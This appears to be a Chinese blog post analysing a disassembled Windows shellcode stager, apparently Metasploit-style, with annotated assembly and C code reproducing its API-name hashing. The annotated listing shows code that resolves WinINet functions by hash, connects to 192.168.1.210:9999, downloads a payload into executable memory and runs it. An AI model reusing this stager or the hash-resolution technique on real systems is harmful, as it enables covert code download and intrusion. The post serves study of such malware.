Loading... ```C 005F33A0 FC cld //将标志寄存器Flag的方向标志位DF清零。在字串操作中使变址寄存器SI或DI的地址指针自动增加,字串处理由前往后 005F33A1 E8 89 00 00 00 call buf+8Fh (05F342F) 005F33A6 60 pushad 005F33A7 89 E5 mov ebp,esp 005F33A9 31 D2 xor edx,edx 005F33AB 64 8B 52 30 mov edx,dword ptr fs:[edx+30h] ;edx=PEB 005F33AF 8B 52 0C mov edx,dword ptr [edx+0Ch] ;EDX=ldr 005F33B2 8B 52 14 mov edx,dword ptr [edx+14h] ;edx=InMemoryOrderModuleList =》_LDR_DATA_TABLE_ENTRY+8 ; loop 遍历InMemoryOrderModuleList链表中的所有节点 005F33B5 8B 72 28 mov esi,dword ptr [edx+28h] ;esi=FullDllName +24h FullDllName UNICODE_string 005F33B8 0F B7 4A 26 movzx ecx,word ptr [edx+26h] ; FullDllName->MaximumLength 005F33BC 31 FF xor edi,edi ;加密字符串 循环取出模块名字符 保存到edi中 loop: 005F33BE 31 C0 xor eax,eax 005F33C0 AC lods byte ptr [esi] ;取第一个字符保存到al,esi指向下一个字符 005F33C1 3C 61 cmp al,61h ;61h=》 a 005F33C3 7C 02 jl buf+27h (05F33C7) 005F33C5 2C 20 sub al,20h ;转换为大写 005F33C7 C1 CF 0D ror edi,0Dh ;循环右移14位, 005F33CA 01 C7 add edi,eax 005F33CC E2 F0 loop buf+1Eh (05F33BE) ; 005F33CE 52 push edx 005F33CF 57 push edi 005F33D0 8B 52 10 mov edx,dword ptr [edx+10h] ;DllBase 005F33D3 8B 42 3C mov eax,dword ptr [edx+3Ch] ;e_lfanew 005F33D6 01 D0 add eax,edx ;eax=_IMAGE_NT_HEADERS 005F33D8 8B 40 78 mov eax,dword ptr [eax+78h] ;eax=导出表 rva 005F33DB 85 C0 test eax,eax 005F33DD 74 4A je buf+89h (05F3429) ;没有导出表 跳转 005F33DF 01 D0 add eax,edx eax= dllbase+导出表rva 005F33E1 50 push eax 005F33E2 8B 48 18 mov ecx,dword ptr [eax+18h] ;NumberOfNames 005F33E5 8B 58 20 mov ebx,dword ptr [eax+20h] ;AddressOfNames 005F33E8 01 D3 add ebx,edx ;;AddressOfNamesrva加上dllname ;循环对比导出表的函数名 005F33EA E3 3C jecxz buf+88h (05F3428) ;ECX为零时转移 模块中没有以函数名导出的函数就接着找下一个模块 005F33EC 49 dec ecx 005F33ED 8B 34 8B mov esi,dword ptr [ebx+ecx*4] ;从导出表的最后一个函数名开始比对 005F33F0 01 D6 add esi,edx;esi= 导出函数名在模块中的地址 005F33F2 31 FF xor edi,edi ;loop 加密导出函数名 005F33F4 31 C0 xor eax,eax 005F33F6 AC lods byte ptr [esi] 005F33F7 C1 CF 0D ror edi,0Dh 005F33FA 01 C7 add edi,eax 005F33FC 38 E0 cmp al,ah ;判断是否是字符串结尾 005F33FE 75 F4 jne buf+54h (05F33F4) 005F3400 03 7D F8 add edi,dword ptr [ebp-8] 005F3403 3B 7D 24 cmp edi,dword ptr [ebp+24h] 005F3406 75 E2 jne buf+4Ah (05F33EA);没有匹配上 接着匹配下一个函数 ;如果匹配到需要找的函数名 找到其真正地址 005F3408 58 pop eax 005F3409 8B 58 24 mov ebx,dword ptr [eax+24h] 005F340C 01 D3 add ebx,edx 005F340E 66 8B 0C 4B mov cx,word ptr [ebx+ecx*2] 005F3412 8B 58 1C mov ebx,dword ptr [eax+1Ch] 005F3415 01 D3 add ebx,edx 005F3417 8B 04 8B mov eax,dword ptr [ebx+ecx*4] 005F341A 01 D0 add eax,edx 005F341C 89 44 24 24 mov dword ptr [esp+24h],eax 005F3420 5B pop ebx 005F3421 5B pop ebx 005F3422 61 popad 005F3423 59 pop ecx 005F3424 5A pop edx esp+4 LoadLibraryA参数字符串指针 esp+8 函数名字符串 005F3425 51 push ecx ; 调用完LoadLibraryA的返回值 005F3426 FF E0 jmp eax ;调用 LoadLibraryA调用函数返回到 005F3442 ;调用 InternetOpenA 调用函数返回到 005f3450 005F3428 58 pop eax 005F3429 5F pop edi 005F342A 5A pop edx 005F342B 8B 12 mov edx,dword ptr [edx] 取出链表中下一项 005F342D EB 86 jmp buf+15h (05F33B5) ;LoadLibraryA 005F342F 5D pop ebp 005F3430 68 6E 65 74 00 push 74656Eh 005F3435 68 77 69 6E 69 push 696E6977h 77 69 6e 69 6e 65 74 wininit函数 005F343A 54 push esp a779563a =》InternetOpenUrlA 005F343B 68 4C 77 26 07 push 726774Ch //提前计算好的 LoadLibraryA加密值 005F3440 FF D5 call ebp // call 005F33A6 函数开头跳过来的位置 ;InternetOpenA 005F3442 31 FF xor edi,edi 005F3444 57 push edi 005F3445 57 push edi 005F3446 57 push edi 005F3447 57 push edi 005F3448 57 push edi 005F3449 68 3A 56 79 A7 push 0A779563Ah //匹配的第二个值 InternetOpenA 函数 005F344E FF D5 call ebp 005F33A6 继续查找下一个函数 ;InternetConnectA 查找第三个函数 005F3450 E9 84 00 00 00 jmp buf+139h (05F34D9) //此句代码跳转到 005F36A7 call 005F3455 把服务器地址压入了栈中 005F3455 5B pop ebx 005F3456 31 C9 xor ecx,ecx 005F3458 51 push ecx 005F3459 51 push ecx 005F345A 6A 03 push 3 005F345C 51 push ecx 005F345D 51 push ecx 005F345E 68 0F 27 00 00 push 270Fh 005F3463 53 push ebx ;服务器IP地址 在哪儿压到栈中的 005F3464 50 push eax ;InternetOpenA 返回的句柄 005F3465 68 57 89 9F C6 push 0C69F8957h InternetConnectA 005F346A FF D5 call ebp ;HttpOpenRequestA 005F346C EB 70 jmp buf+13Eh (05F34DE) 005F346E 5B pop ebx 005F346F 31 D2 xor edx,edx 005F3471 52 push edx 005F3472 68 00 02 40 84 push 84400200h ;连接标志 005F3477 52 push edx 005F3478 52 push edx 005F3479 52 push edx 005F347A 53 push ebx 字符串 “/LKkZ” 005F347B 52 push edx ;使用默认的get请求 005F347C 50 push eax ;InternetConnectA连接返回的句柄 005F347D 68 EB 55 2E 3B push 3B2E55EBh ;HttpOpenRequestA 005F3482 FF D5 call ebp ;HttpSendRequestA 005F3484 89 C6 mov esi,eax 005F3486 83 C3 50 add ebx,50h 005F3489 31 FF xor edi,edi 005F348B 57 push edi 005F348C 57 push edi 005F348D 6A FF push 0FFFFFFFFh 005F348F 53 push ebx ;请求头 // User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MASAJS).. 005F3490 56 push esi 005F3491 68 2D 06 18 7B push 7B18062Dh HttpSendRequestA 005F3496 FF D5 call ebp HttpSendRequestA(); 005F3498 85 C0 test eax,eax 005F349A 0F 84 C3 01 00 00 je buf+2C3h (05F3663) ;请求发送失败跳转 005F34A0 31 FF xor edi,edi 005F34A2 85 F6 test esi,esi 005F34A4 74 04 je buf+10Ah (05F34AA) ;判断HttpOpenRequestA打开是否成功 没有成功就跳转 005F34A6 89 F9 mov ecx,edi 005F34A8 EB 09 jmp buf+113h (05F34B3) 005F34AA 68 AA C5 E2 5D push 5DE2C5AAh ;没有走这里 005F34AF FF D5 call ebp 005F34B1 89 C1 mov ecx,eax 005F34B3 68 45 21 5E 31 push 315E2145h 005F34B8 FF D5 call ebp ;GetCurrentThreadDesktopHwnd 获取当前窗口句柄? 005F34BA 31 FF xor edi,edi 005F34BC 57 push edi 005F34BD 6A 07 push 7 005F34BF 51 push ecx 005F34C0 56 push esi 005F34C1 50 push eax 005F34C2 68 B7 57 E0 0B push 0BE057B7h ;InternetErrorDlg 005F34C7 FF D5 call ebp 005F34C9 BF 00 2F 00 00 mov edi,2F00h 005F34CE 39 C7 cmp edi,eax 005F34D0 74 B7 je buf+0E9h (05F3489) 005F34D2 31 FF xor edi,edi 005F34D4 E9 91 01 00 00 jmp buf+2CAh (05F366A) 005F34D9 E9 C9 01 00 00 jmp buf+307h (05F36A7) 005F34DE E8 8B FF FF FF call buf+0CEh (05F346E) 005F34E3 2F das 005F34E4 4C dec esp 005F34E5 4B dec ebx 005F34E6 6B 5A 00 D7 imul ebx,dword ptr [edx],0FFFFFFD7h 005F34EA DA 1A ficomp dword ptr [edx] 005F34EC CE into 005F34ED 8D 53 AA lea edx,[ebx-56h] 005F34F0 28 93 BE 42 75 EF sub byte ptr [ebx-108ABD42h],dl 005F34F6 FC cld 005F34F7 A8 8E test al,8Eh 005F34F9 41 inc ecx 005F34FA 10 2F adc byte ptr [edi],ch 005F34FC 47 inc edi 005F34FD 3F aas 005F34FE 96 xchg eax,esi 005F34FF 5F pop edi 005F3500 9F lahf 005F3501 C5 6A 2A lds ebp,fword ptr [edx+2Ah] 005F3504 E7 FA out 0FAh,eax 005F3506 74 E8 je buf+150h (05F34F0h) 005F3508 00 B3 A1 37 69 FD add byte ptr [ebx-296C85Fh],dh 005F350E F3 A7 repe cmps dword ptr [esi],dword ptr es:[edi] 005F3510 A8 51 test al,51h 005F3512 14 34 adc al,34h 005F3514 A3 7D C1 11 2A mov dword ptr ds:[2A11C17Dh],eax 005F3519 82 B6 D8 DE 65 7B C0 xor byte ptr [esi+7B65DED8h],0C0h 005F3520 E1 21 loope buf+1A3h (05F3543h) 005F3522 4F dec edi 005F3523 70 41 jo buf+1C6h (05F3566h) 005F3525 E8 7F ED 74 86 call 86D422A9 005F352A 52 push edx 005F352B F4 hlt 005F352C BC D3 E1 5D CA mov esp,0CA5DE1D3h 005F3531 34 00 xor al,0 005F3533 55 push ebp 005F3534 73 65 jae buf+1FBh (05F359Bh) 005F3536 72 2D jb buf+1C5h (05F3565h) 005F3538 41 inc ecx 005F3539 67 65 6E outs dx,byte ptr gs:[si] 005F353C 74 3A je buf+1D8h (05F3578h) 005F353E 20 4D 6F and byte ptr [ebp+6Fh],cl 005F3541 7A 69 jp buf+20Ch (05F35ACh) 005F3543 6C ins byte ptr es:[edi],dx 005F3544 6C ins byte ptr es:[edi],dx 005F3545 61 popad 005F3546 2F das 005F3547 35 2E 30 20 28 xor eax,2820302Eh 005F354C 63 6F 6D arpl word ptr [edi+6Dh],bp 005F354F 70 61 jo buf+212h (05F35B2h) 005F3551 74 69 je buf+21Ch (05F35BCh) 005F3553 62 6C 65 3B bound ebp,qword ptr [ebp+3Bh] 005F3557 20 4D 53 and byte ptr [ebp+53h],cl 005F355A 49 dec ecx 005F355B 45 inc ebp 005F355C 20 31 and byte ptr [ecx],dh 005F355E 30 2E xor byte ptr [esi],ch 005F3560 30 3B xor byte ptr [ebx],bh 005F3562 20 57 69 and byte ptr [edi+69h],dl 005F3565 6E outs dx,byte ptr [esi] 005F3566 64 6F outs dx,dword ptr fs:[esi] 005F3568 77 73 ja buf+23Dh (05F35DDh) 005F356A 20 4E 54 and byte ptr [esi+54h],cl 005F356D 20 36 and byte ptr [esi],dh 005F356F 2E 32 3B xor bh,byte ptr cs:[ebx] 005F3572 20 57 4F and byte ptr [edi+4Fh],dl 005F3575 57 push edi 005F3576 36 34 3B xor al,3Bh 005F3579 20 54 72 69 and byte ptr [edx+esi*2+69h],dl 005F357D ?? ?? ?? 005F357E 65 6E outs dx,byte ptr gs:[esi] 005F3580 74 2F je buf+211h (05F35B1h) 005F3582 ?? ?? ?? 005F3583 2E 30 3B xor byte ptr cs:[ebx],bh 005F3586 20 4D 41 and byte ptr [ebp+41h],cl 005F3589 53 push ebx 005F358A 41 inc ecx 005F358B 4A dec edx 005F358C 53 push ebx 005F358D 29 0D 0A 00 E9 A8 sub dword ptr ds:[0A8E9000Ah],ecx 005F3593 9D popfd 005F3594 68 01 E4 28 D1 push 0D128E401h 005F3599 ?? ?? ?? 005F359A E4 D3 in al,0D3h 005F359C 12 37 adc dh,byte ptr [edi] 005F359E 89 BD 2C 13 33 05 mov dword ptr [ebp+533132Ch],edi 005F35A4 52 push edx 005F35A5 D4 44 aamb 44h 005F35A7 89 D6 mov esi,edx 005F35A9 A5 movs dword ptr es:[edi],dword ptr [esi] 005F35AA 06 push es 005F35AB C0 57 43 D5 rcl byte ptr [edi+43h],0D5h 005F35AF 4E dec esi 005F35B0 F7 10 not dword ptr [eax] 005F35B2 5A pop edx 005F35B3 AE scas byte ptr es:[edi] 005F35B4 01 68 BC add dword ptr [eax-44h],ebp 005F35B7 CA 4F 17 retf 174Fh 005F35BA 3D 60 F0 2A E4 cmp eax,0E42AF060h 005F35BF D1 6C 9F E7 shr dword ptr [edi+ebx*4-19h],1 005F35C3 97 xchg eax,edi 005F35C4 9F lahf 005F35C5 1E push ds 005F35C6 A1 AA AA 59 54 mov eax,dword ptr ds:[5459AAAAh] 005F35CB BE CC B5 0F EB mov esi,0EB0FB5CCh 005F35D0 DB 14 77 fist dword ptr [edi+esi*2] 005F35D3 9F lahf 005F35D4 17 pop ss 005F35D5 85 3A test dword ptr [edx],edi 005F35D7 A5 movs dword ptr es:[edi],dword ptr [esi] 005F35D8 31 1E xor dword ptr [esi],ebx 005F35DA 64 33 4F 5C xor ecx,dword ptr fs:[edi+5Ch] 005F35DE 4D dec ebp 005F35DF 77 F1 ja buf+232h (05F35D2h) 005F35E1 E5 37 in eax,37h 005F35E3 7C DA jl buf+21Fh (05F35BFh) 005F35E5 D9 1C 03 fstp dword ptr [ebx+eax] 005F35E8 9E sahf 005F35E9 81 A6 65 E5 A0 DC 49 A3 43 AB and dword ptr [esi-235F1A9Bh],0AB43A349h 005F35F3 7D ED jge buf+242h (05F35E2h) 005F35F5 F6 2D 9B 63 73 12 imul byte ptr ds:[1273639Bh] 005F35FB 60 pushad 005F35FC 66 74 85 je 00003584 005F35FF 98 cwde 005F3600 B8 CF AF 0A 9B mov eax,9B0AAFCFh 005F3605 29 6A 3A sub dword ptr [edx+3Ah],ebp 005F3608 3D 5A 5C 36 DA cmp eax,0DA365C5Ah 005F360D 0A FB or bh,bl 005F360F E8 32 A2 9B 18 call 18FAD846 005F3614 E1 B7 loope buf+22Dh (05F35CDh) 005F3616 CF iretd 005F3617 70 39 jo buf+2B2h (05F3652h) 005F3619 24 0C and al,0Ch 005F361B 6D ins dword ptr es:[edi],dx 005F361C 37 aaa 005F361D 0E push cs 005F361E 82 6D 2B FD sub byte ptr [ebp+2Bh],0FDh 005F3622 9F lahf 005F3623 4D dec ebp 005F3624 B9 E0 C4 EE 0E mov ecx,0EEEC4E0h 005F3629 38 7E 18 cmp byte ptr [esi+18h],bh 005F362C 4D dec ebp 005F362D 06 push es 005F362E 86 8B 3D 7B 6C 39 xchg cl,byte ptr [ebx+396C7B3Dh] 005F3634 12 66 1F adc ah,byte ptr [esi+1Fh] 005F3637 9D popfd 005F3638 32 AB 49 EE 3D 08 xor ch,byte ptr [ebx+83DEE49h] 005F363E 9A AC CA 77 00 29 D6 call D629:0077CAAC 005F3645 15 F3 A8 3A 07 adc eax,73AA8F3h 005F364A A2 A6 80 C8 C5 mov byte ptr ds:[C5C880A6h],al 005F364F CF iretd 005F3650 EE out dx,al 005F3651 33 65 BC xor esp,dword ptr [ebp-44h] 005F3654 A1 AC ED 83 C9 mov eax,dword ptr ds:[C983EDACh] 005F3659 26 EF out dx,eax 005F365B 13 01 adc eax,dword ptr [ecx] 005F365D 72 CB jb buf+28Ah (05F362Ah) 005F365F B6 31 mov dh,31h 005F3661 B9 00 68 F0 B5 mov ecx,0B5F06800h 005F3665 mov ch,0A2h 005F3667 push esi 005F3668 call ebp ;从服务器读取代码到当前进程中 005F366A push 40h 005F366C 68 00 10 00 00 push 1000h 005F3671 68 00 00 40 00 push offset __ImageBase (0400000h) 005F3676 57 push edi 005F3677 68 58 A4 53 E5 push 0E553A458h ;VirtualAlloc 在当前进程中分配内存 005F367C FF D5 call ebp 005F367E 93 xchg eax,ebx 005F367F B9 00 00 00 00 mov ecx,0 005F3684 01 D9 add ecx,ebx 005F3686 51 push ecx 005F3687 53 push ebx 005F3688 89 E7 mov edi,esp 005F368A 57 push edi 005F368B 68 00 20 00 00 push 2000h ;读取的大小 005F3690 53 push ebx ;接收文件的buffer 005F3691 56 push esi 005F3692 68 12 96 89 E2 push 0E2899612h ;InternetReadFile 从服务器下载可执行代码 005F3697 FF D5 call ebp 005F3699 85 C0 test eax,eax ;判断是否下载成功 005F369B 74 C6 je buf+2C3h (05F3663) 005F369D 8B 07 mov eax,dword ptr [edi] 005F369F 01 C3 add ebx,eax 005F36A1 85 C0 test eax,eax ;实际读取的大小如果为0,就不再接着去读取 005F36A3 75 E5 jne buf+2EAh (05F368A) 005F36A5 58 pop eax 005F36A6 C3 ret //从这里跳转到分配的地址开始执行 005F36A7 E8 A9 FD FF FF call buf+0B5h (05F3455) 005F36AC 192.168.1.210 服务器ip 005F36BA 12 34 56 adc dh,byte ptr [esi+edx*2] 005F36BD 78 00 js buf+31Fh (05F36BFh) ``` ## 函数加密部分 **函数的加密值=模块名的加密值+函数名的加密值** ``` //函数名的加密算法 DWORD EncodeFuncName(PVOID FunctionName) { DWORD Value = 0; __asm { mov esi, FunctionName xor edi,edi lop: xor eax,eax ror edi,0dh lodsb add edi,eax cmp al,ah jnz lop mov Value,edi } return Value; } //模块名的加密算法 //参数1:模块名 参数2:字节数+2 相当于unicode的maxlen DWORD EncodeModuleName(PVOID FunctionName,DWORD Len) { DWORD Value = 0; __asm { xor ecx,ecx mov ecx,Len mov esi,FunctionName xor edi, edi lop : xor eax, eax lodsb cmp al, 061h jl s1 sub al,020h s1: ror edi, 0dh add edi, eax dec ecx jnz lop mov Value, edi } return Value; } ``` ## 获取所有模块导出函数的加密值对其进行比对 ``` #include<intrin.h> #include "stdio.h" #include<windows.h> typedef struct _CLIENT_ID32 // 2 elements, 0x8 bytes (sizeof) { /*0x000*/ ULONG32 UniqueProcess; /*0x004*/ ULONG32 UniqueThread; }CLIENT_ID32, *PCLIENT_ID32; #pragma pack(4) typedef struct _TEB32 // 117 elements, 0x1000 bytes (sizeof) { /*0x000*/ struct _NT_TIB32 NtTib; // 8 elements, 0x1C bytes (sizeof) /*0x01C*/ ULONG32 EnvironmentPointer; /*0x020*/ struct _CLIENT_ID32 ClientId; // 2 elements, 0x8 bytes (sizeof) /*0x028*/ ULONG32 ActiveRpcHandle; /*0x02C*/ ULONG32 ThreadLocalStoragePointer; /*0x030*/ ULONG32 ProcessEnvironmentBlock; /*0x034*/ ULONG32 LastErrorValue; }TEB32, *PTEB32; #pragma pack() #pragma pack(4) typedef struct _PEB32 // 108 elements, 0x480 bytes (sizeof) { /*0x000*/ UINT8 InheritedAddressSpace; /*0x001*/ UINT8 ReadImageFileExecOptions; /*0x002*/ UINT8 BeingDebugged; union // 2 elements, 0x1 bytes (sizeof) { /*0x003*/ UINT8 BitField; struct // 8 elements, 0x1 bytes (sizeof) { /*0x003*/ UINT8 ImageUsesLargePages : 1; // 0 BitPosition /*0x003*/ UINT8 IsProtectedProcess : 1; // 1 BitPosition /*0x003*/ UINT8 IsImageDynamicallyRelocated : 1; // 2 BitPosition /*0x003*/ UINT8 SkipPatchingUser32Forwarders : 1; // 3 BitPosition /*0x003*/ UINT8 IsPackagedProcess : 1; // 4 BitPosition /*0x003*/ UINT8 IsAppContainer : 1; // 5 BitPosition /*0x003*/ UINT8 IsProtectedProcessLight : 1; // 6 BitPosition /*0x003*/ UINT8 IsLongPathAwareProcess : 1; // 7 BitPosition }; }; /*0x004*/ ULONG32 Mutant; /*0x008*/ ULONG32 ImageBaseAddress; /*0x00C*/ ULONG32 Ldr; /*0x010*/ ULONG32 ProcessParameters; /*0x014*/ ULONG32 SubSystemData; /*0x018*/ ULONG32 ProcessHeap; }PEB32, *PPEB32; #pragma pack() typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWCH Buffer; } UNICODE_STRING, *PUNICODE_STRING; #pragma pack(4) typedef struct _PEB_LDR_DATA32 // 9 elements, 0x58 bytes (sizeof) { ULONG Length; // +0 ULONG Initialized; // +4 ULONG SsHandle; LIST_ENTRY32 InLoadOrderModuleList; // +0xc LIST_ENTRY32 InMemoryOrderModuleList; // +0x14 LIST_ENTRY32 InInitializationOrderModuleList; // 2 elements, 0x10 bytes (sizeof) }PEB_LDR_DATA32, *PPEB_LDR_DATA32; #pragma pack() #pragma pack(4) typedef struct _LDR_DATA_TABLE_ENTRY32 { LIST_ENTRY32 InLoadOrderModuleList; //+0 LIST_ENTRY32 InMemoryOrderModuleList; //+8 LIST_ENTRY32 InInitializationOrderModuleList; //+0x10 DWORD DllBase; //+0x18 DWORD EntryPoint; //+0x1c DWORD SizeOfImage; //+0x20 UNICODE_STRING FullDllName; //+0x24 UNICODE_STRING BaseDllName; //+0x2c ULONG Flags; USHORT LoadCount; WCHAR FullName[260]; WCHAR BaseName[260]; } LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; #pragma pack() DWORD EncodeFuncName(PVOID FunctionName) { DWORD Value = 0; __asm { mov esi, FunctionName xor edi,edi lop: xor eax,eax ror edi,0dh lodsb add edi,eax cmp al,ah jnz lop mov Value,edi } return Value; } //参数1:模块名 参数2:字节数+2 相当于unicode的maxlen DWORD EncodeModuleName(PVOID FunctionName,DWORD Len) { DWORD Value = 0; __asm { xor ecx,ecx mov ecx,Len mov esi,FunctionName xor edi, edi lop : xor eax, eax lodsb cmp al, 061h jl s1 sub al,020h s1: ror edi, 0dh add edi, eax dec ecx jnz lop mov Value, edi } return Value; } void ShellCode() { PPEB32 Peb32 = (PPEB32)__readfsdword(FIELD_OFFSET(TEB32, ProcessEnvironmentBlock)); //InMemoryOrderModuleList->Flink PPEB_LDR_DATA32 Ldr = (PPEB_LDR_DATA32)Peb32->Ldr; PLIST_ENTRY32 ModuleList = (PLIST_ENTRY32)Ldr->InLoadOrderModuleList.Flink; PLIST_ENTRY32 head = ModuleList; do { ModuleList = (PLIST_ENTRY32)ModuleList->Flink; PWCHAR buffer = ((PLDR_DATA_TABLE_ENTRY32)ModuleList)->BaseDllName.Buffer; PLDR_DATA_TABLE_ENTRY32 p = (PLDR_DATA_TABLE_ENTRY32)ModuleList; DWORD ImageBase = ((PLDR_DATA_TABLE_ENTRY32)ModuleList)->DllBase; if (buffer) { DWORD ModuleEncode = EncodeModuleName(buffer, p->BaseDllName.MaximumLength); DWORD dwAddressOfExportTable = 0; DWORD dwSizeOfExportTable = 0; //获取image_export_table 结构的数据 PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew + (ULONG_PTR)ImageBase); if (NtHeaders->OptionalHeader.Magic == 0x10b) { dwAddressOfExportTable = ((PIMAGE_OPTIONAL_HEADER32)(&NtHeaders->OptionalHeader))->DataDirectory[0].VirtualAddress; dwSizeOfExportTable = ((PIMAGE_OPTIONAL_HEADER32)(&NtHeaders->OptionalHeader))->DataDirectory[0].Size; } else { dwAddressOfExportTable = ((PIMAGE_OPTIONAL_HEADER64)(&NtHeaders->OptionalHeader))->DataDirectory[0].VirtualAddress; dwSizeOfExportTable = ((PIMAGE_OPTIONAL_HEADER64)(&NtHeaders->OptionalHeader))->DataDirectory[0].Size; } if (0 == dwAddressOfExportTable) { continue; } PIMAGE_EXPORT_DIRECTORY pied = (PIMAGE_EXPORT_DIRECTORY)((char*)ImageBase + dwAddressOfExportTable); PULONG AddressOfNames = (PULONG)((char*)ImageBase + pied->AddressOfNames); //遍历名字表 for (size_t i = 0; i < pied->NumberOfNames; i++) { char *name = (char*)AddressOfNames[i] + ImageBase; //ModuleEncode DWORD NameEncode = EncodeFuncName(name); NameEncode = NameEncode + ModuleEncode; printf("%S %s 0x%x\n", buffer, name, NameEncode); } } } while (head != ModuleList); int a = 0; } void main() { if (!LoadLibrary(L"ws2_32.dll")) { printf("load failed"); } if (!LoadLibrary(L"wininet.dll")) { printf("load failed"); } if (!LoadLibrary(L"wsock32.dll")) { printf("load failed"); } ShellCode(); } ``` 最后修改:2022 年 05 月 16 日 © 允许规范转载 赞 1 如果觉得我的文章对你有用,请随意赞赏